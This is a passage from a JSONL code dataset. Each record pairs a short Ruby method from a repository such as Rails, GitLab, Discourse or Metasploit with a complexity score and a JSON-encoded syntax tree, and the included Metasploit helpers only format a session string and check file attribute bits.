end","complexity_score":33.85,"ast_json":"{\"type\":\"def\",\"children\":[\"to_solar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]},{\"type\":\"arg\",\"children\":[\"month\"]},{\"type\":\"arg\",\"children\":[\"day\"]},{\"type\":\"arg\",\"children\":[\"region\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"year_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year\"]},\"-\",{\"type\":\"int\",\"children\":[1900]}]}]},{\"type\":\"lvasgn\",\"children\":[\"year_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CALENDAR_YEAR_INFO_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"region\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year_diff\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year_idx\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year_info\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"year_idx\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"month\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"month_idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total\"]},{\"type\":\"lvasgn\",\"children\":[\"_normal\"]},{\"type\":\"lvasgn\",\"children\":[\"_leap\"]}]},{\"type\":\"send\",\"children\":[null,\"lunardays_for_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year_info\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"year_diff\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"month_idx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"day\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SOLAR_START_DATE\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"days\"]}]}]}]}","id":"bb05a947-42e3-459d-bca7-a3a85b7e0c52"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/explain_test.rb","start_line":83,"raw_source":"def test_relation_explain_with_sum\n      expected_query = capture_sql {\n        Car.sum(:id)\n      }.first\n      message = Car.all.explain.sum(:id)\n      assert_match(/^EXPLAIN/, message)\n      assert_match(expected_query, message)\n    end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_relation_explain_with_sum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_query\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Car\"]},\"all\"]},\"explain\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^EXPLAIN\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected_query\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"9e760721-09f3-4650-950d-9542156dccb1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session.rb","start_line":58,"raw_source":"def inspect\n    \"#<Session:#{self.type} #{self.tunnel_peer} (#{self.session_host}) #{self.info ? \"\\\"#{self.info.to_s}\\\"\" : nil}>\"  # \" Fixes highlighting\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<Session:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tunnel_peer\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"info\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}","id":"9105ef4e-a5b9-4c8a-a532-b6eba4b83a38"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/app/models/discourse_automation/automation.rb","start_line":185,"raw_source":"def reset!\n      pending_pms.delete_all\n      scriptable&.on_reset&.call(self)\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_pms\"]},\"delete_all\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scriptable\"]},\"on_reset\"]},\"call\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"b560c187-3c75-46fd-bd8f-d3bd817fac2b"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/sidekiq_helpers.rb","start_line":62,"raw_source":"def job_enqueued?(job:, args: {}, at: nil)\n    klass = job.instance_of?(Class) ? job : \"::Jobs::#{job.to_s.camelcase}\".constantize\n    at = at.to_f if at.is_a?(Time)\n    match_jobs(jobs: klass.jobs, args: args, at: at)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"job_enqueued?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"job\"]},{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"at\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Jobs::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"to_s\"]},\"camelcase\"]}]}]},\"constantize\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"to_f\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"match_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jobs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"jobs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"lvar\",\"children\":[\"at\"]}]}]}]}]}]}","id":"6dd502d0-c4d0-4b0e-8b01-f087e6b088ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/abuse_reports_controller.rb","start_line":25,"raw_source":"def moderate_user\n    response = Admin::AbuseReports::ModerateUserService.new(@abuse_report, current_user, permitted_params).execute\n\n    if response.success?\n      render json: { message: response.message }\n    else\n      render json: { message: response.message }, status: :unprocessable_entity\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"moderate_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"AbuseReports\"]},\"ModerateUserService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@abuse_report\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"permitted_params\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"6187198d-c9e3-4f05-9fe0-9e27ff27127d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/git/repository_spec.rb","start_line":367,"raw_source":"def submodule_url(path)\n      repository.submodule_url_for(ref, path)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"submodule_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"submodule_url_for\",{\"type\":\"send\",\"children\":[null,\"ref\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"43314945-efac-4a0f-8b6f-42e9c7fe1aba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb","start_line":285,"raw_source":"def expected_extra_queries\n        extra_jobs = 2\n        non_handled_sql_queries = 2\n\n        # 1. Ci::InstanceVariable Load => `Ci::InstanceVariable#cached_data` => already cached with `fetch_memory_cache`\n\n        extra_jobs * non_handled_sql_queries\n      end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_extra_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extra_jobs\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"non_handled_sql_queries\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_jobs\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"non_handled_sql_queries\"]}]}]}]}","id":"2fe53600-359b-44f3-9f8a-fc52a048d41e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/sdel.rb","start_line":160,"raw_source":"def comp_encr(file)\n    # http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx\n    handle = session.railgun.kernel32.GetFileAttributesA(file)\n    type = handle['return']\n\n    # FILE_ATTRIBUTE_COMPRESSED=0x800\n    # FILE_ATTRIBUTE_ENCRYPTED=0x4000\n    if (type & (0x4800)).nonzero?\n      return true\n    end\n\n    return false\n  end","complexity_score":11.75,"ast_json":"{\"type\":\"def\",\"children\":[\"comp_encr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"handle\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"GetFileAttributesA\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"children\":[18432]}]}]}]},\"nonzero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"990c7fe8-e4ac-4202-a86f-78637063b501"}
{"repo_name":"hanami","file_path":"./repos/hanami/spec/integration/view/helpers/scope_helpers_spec.rb","start_line":55,"raw_source":"def before_prepare\n      write \"slices/main/view.rb\", <<~RUBY\n        module Main\n          class View < TestApp::View\n          end\n        end\n      RUBY\n\n      write \"slices/main/views/posts/show.rb\", <<~RUBY\n        module Main\n          module Views\n            module Posts\n              class Show < Main::View\n              end\n            end\n          end\n        end\n      RUBY\n\n      write \"slices/main/templates/posts/show.html.erb\", <<~ERB\n        <h1><%= format_number(12_345) %></h1>\n      ERB\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"before_prepare\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"slices/main/view.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module Main\\n\"]},{\"type\":\"str\",\"children\":[\"  class View < TestApp::View\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"slices/main/views/posts/show.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module Main\\n\"]},{\"type\":\"str\",\"children\":[\"  module Views\\n\"]},{\"type\":\"str\",\"children\":[\"    module Posts\\n\"]},{\"type\":\"str\",\"children\":[\"      class Show < Main::View\\n\"]},{\"type\":\"str\",\"children\":[\"      end\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"slices/main/templates/posts/show.html.erb\"]},{\"type\":\"str\",\"children\":[\"<h1><%= format_number(12_345) %></h1>\\n\"]}]}]}]}","id":"92b692d3-d9f0-4a06-9fef-d77ba5b9d76b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":99,"raw_source":"def root\n        @root ||= Rails.root\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]}]}","id":"8f8348ba-153d-4254-a869-08c5c8781f86"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management.rb","start_line":84,"raw_source":"def remove_workers(workers)\n    return if workers.empty?\n\n    workers.each do |w|\n      yield(w)\n      worker_delete(w.pid)\n      w.destroy\n    end\n    miq_workers.reload\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_workers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"workers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[null,\"worker_delete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_workers\"]},\"reload\"]}]}]}","id":"bcb7d1ac-f0ba-4276-a575-477d54760352"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":46,"raw_source":"def test_default_scope_is_unscoped_on_find\n    assert_equal 1, DeveloperCalledDavid.count\n    assert_equal 11, DeveloperCalledDavid.unscoped.count\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_scope_is_unscoped_on_find\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperCalledDavid\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[11]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperCalledDavid\"]},\"unscoped\"]},\"count\"]}]}]}]}","id":"e7ac5e8a-9979-495e-8032-16117780d462"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/date_time_formatter.rb","start_line":85,"raw_source":"def format_duration_from_hours(hours, allow_nil: false)\n          return nil if hours.nil? && allow_nil\n\n          Duration.new(seconds: hours * 3600).iso8601\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"format_duration_from_hours\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hours\"]},{\"type\":\"kwoptarg\",\"children\":[\"allow_nil\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hours\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"allow_nil\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Duration\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hours\"]},\"*\",{\"type\":\"int\",\"children\":[3600]}]}]}]}]},\"iso8601\"]}]}]}","id":"6fea3cb1-04e8-4184-a776-e716167da1d1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/mappers/conversation_mapper.rb","start_line":17,"raw_source":"def initialize(hook, conversation)\n    @hook = hook\n    @timezone = Time.find_zone(hook.settings['timezone']) || Time.zone\n    @conversation = conversation\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]},{\"type\":\"arg\",\"children\":[\"conversation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hook\",{\"type\":\"lvar\",\"children\":[\"hook\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timezone\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timezone\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversation\",{\"type\":\"lvar\",\"children\":[\"conversation\"]}]}]}]}","id":"f7edad2b-4a51-462f-9f11-46f3992fd95b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/commands/copy_template_folder_command.rb","start_line":42,"raw_source":"def call(auth_strategy:, input_data:)\n              with_tagged_logger do\n                Authentication[auth_strategy].call(storage: @storage) do |http|\n                  remote_urls = build_origin_urls(input_data)\n\n                  ensure_remote_folder_does_not_exist(http, remote_urls[:destination_url]).bind do\n                    copy_folder(http, **remote_urls).bind do\n                      get_folder_id(auth_strategy, input_data.destination)\n                    end\n                  end\n                end\n              end\n            end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"auth_strategy\"]},{\"type\":\"kwarg\",\"children\":[\"input_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authentication\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"auth_strategy\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remote_urls\",{\"type\":\"send\",\"children\":[null,\"build_origin_urls\",{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_remote_folder_does_not_exist\",{\"type\":\"lvar\",\"children\":[\"http\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_urls\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination_url\"]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copy_folder\",{\"type\":\"lvar\",\"children\":[\"http\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_urls\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get_folder_id\",{\"type\":\"lvar\",\"children\":[\"auth_strategy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"destination\"]}]}]}]}]}]}]}]}","id":"959f5709-51ba-425c-aebb-0bd51e48835f"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/helpers/form_helper/form_builder.rb","start_line":841,"raw_source":"def radio_button(name, value, **attributes)\n          attributes = {type: :radio, name: _input_name(name), value: value, **attributes}\n          attributes[:checked] = true if _value(name).to_s == value.to_s\n\n          input(**attributes)\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"radio_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwrestarg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"radio\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"_input_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_value\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"checked\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"input\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}]}","id":"eefa681c-921f-4ec2-ad58-088469d0aeb5"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/if_else_tag_test.rb","start_line":17,"raw_source":"def test_literal_comparisons\n    assert_template_result(' NO ', '{% assign v = false %}{% if v %} YES {% else %} NO {% endif %}')\n    assert_template_result(' YES ', '{% assign v = nil %}{% if v == nil %} YES {% else %} NO {% endif %}')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_literal_comparisons\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\" NO \"]},{\"type\":\"str\",\"children\":[\"{% assign v = false %}{% if v %} YES {% else %} NO {% endif %}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\" YES \"]},{\"type\":\"str\",\"children\":[\"{% assign v = nil %}{% if v == nil %} YES {% else %} NO {% endif %}\"]}]}]}]}","id":"6c54e8e3-af55-459a-8993-e2d75e93cc27"}
